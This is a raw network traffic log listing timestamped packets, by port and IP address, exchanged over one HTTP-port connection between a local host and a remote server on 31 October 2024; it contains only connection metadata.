Oct 31, 2024 01:18:32.864784002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864794970 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864803076 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.864806890 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864819050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864830017 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864835978 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.864855051 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.864861965 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.864867926 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864881039 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864891052 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864902973 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864913940 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864926100 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864928961 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.864938974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864950895 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864954948 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.864963055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.864972115 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.864986897 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.864998102 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865010023 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865020037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865030050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865041971 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865052938 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865065098 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865067959 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865067959 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865076065 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865077019 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865089893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865101099 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865108013 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865130901 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865142107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865153074 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865153074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865165949 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865176916 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865178108 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865185022 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865187883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865200996 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865211964 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865212917 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865226984 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865232944 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865257978 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865268946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865281105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865284920 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865293026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865298033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865298033 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865304947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865310907 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865315914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865322113 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865333080 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865338087 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865350008 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865360975 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865371943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865376949 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865377903 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865396023 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865406036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865417004 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865428925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865439892 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865446091 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865446091 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865452051 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865464926 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865468979 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865477085 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865488052 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865499020 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865499973 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865509987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865528107 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865541935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865552902 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865564108 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865576029 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865582943 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865588903 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865600109 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865612030 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865612030 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865624905 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865637064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865643978 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865658045 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865667105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865678072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865679026 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865690947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865701914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865712881 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865724087 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865725040 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865735054 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865746975 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865751982 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865758896 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865771055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865781069 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865801096 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865808964 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865809917 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865809917 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865825891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865838051 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865849018 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865865946 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865875006 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865886927 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865897894 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865897894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865911961 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865921974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865925074 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865933895 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865938902 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865947962 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865964890 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865971088 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.865978003 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.865989923 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866000891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866005898 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866013050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866024017 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866025925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866039038 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866044998 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866050959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866064072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866070986 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866075039 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866087914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866096973 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866100073 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866108894 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866112947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866126060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866137981 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866149902 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866162062 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866168976 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866168976 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866174936 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866188049 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866199970 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866204977 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866211891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866224051 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866235971 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866245985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866247892 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866257906 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866261005 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866274118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866283894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866296053 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866297007 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866307974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866323948 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866341114 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866350889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866353989 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866365910 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866377115 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866388083 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866389036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866400003 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866401911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866415024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866425991 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866430998 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866439104 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866446018 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866471052 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866482973 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866492987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866503954 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866513014 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866513014 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866513968 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866528034 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866539955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866544008 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866553068 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866565943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866571903 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866581917 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866612911 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866620064 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866625071 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866638899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866650105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866662025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866673946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866674900 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866679907 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866691113 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866693974 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866717100 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866724968 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866736889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866748095 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866767883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866774082 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866780043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866791964 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866802931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866803885 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866816044 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866827011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866837978 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866848946 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866849899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866863012 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866874933 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866879940 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866894960 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866902113 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866914034 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866925001 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866935968 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866942883 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866950035 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866961002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866961956 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866972923 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866983891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.866987944 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.866996050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867007971 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867021084 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867027998 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867038012 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867048979 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867058992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867072105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867082119 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867094994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867098093 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867105961 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867116928 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867125034 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867129087 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867141008 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867144108 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867175102 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867186069 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867197037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867203951 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867208004 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867218971 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867221117 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867233992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867244959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867244959 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867257118 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867269039 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867278099 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867281914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867317915 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867321968 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867333889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867346048 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867357969 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867363930 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867382050 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867383003 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867397070 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867408037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867419958 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867432117 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867434978 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867444038 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867456913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867465973 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867469072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867476940 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867480993 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867487907 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867494106 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867506027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867516994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867518902 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867530107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867542982 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867553949 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867566109 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867569923 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867578983 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867578983 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867590904 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867603064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867614985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867615938 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867628098 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867636919 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867640018 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867652893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867664099 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867676020 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867676973 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867688894 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867702007 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867707014 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867713928 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867726088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867727041 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867737055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867748976 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867755890 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867759943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867763996 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867773056 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867784023 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867794991 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867794991 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867805958 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867818117 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867821932 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867830992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867845058 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867852926 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867852926 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:32.867855072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867867947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867880106 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:32.867882967 CET	49797	80	192.168.2.6	185.215.113.16
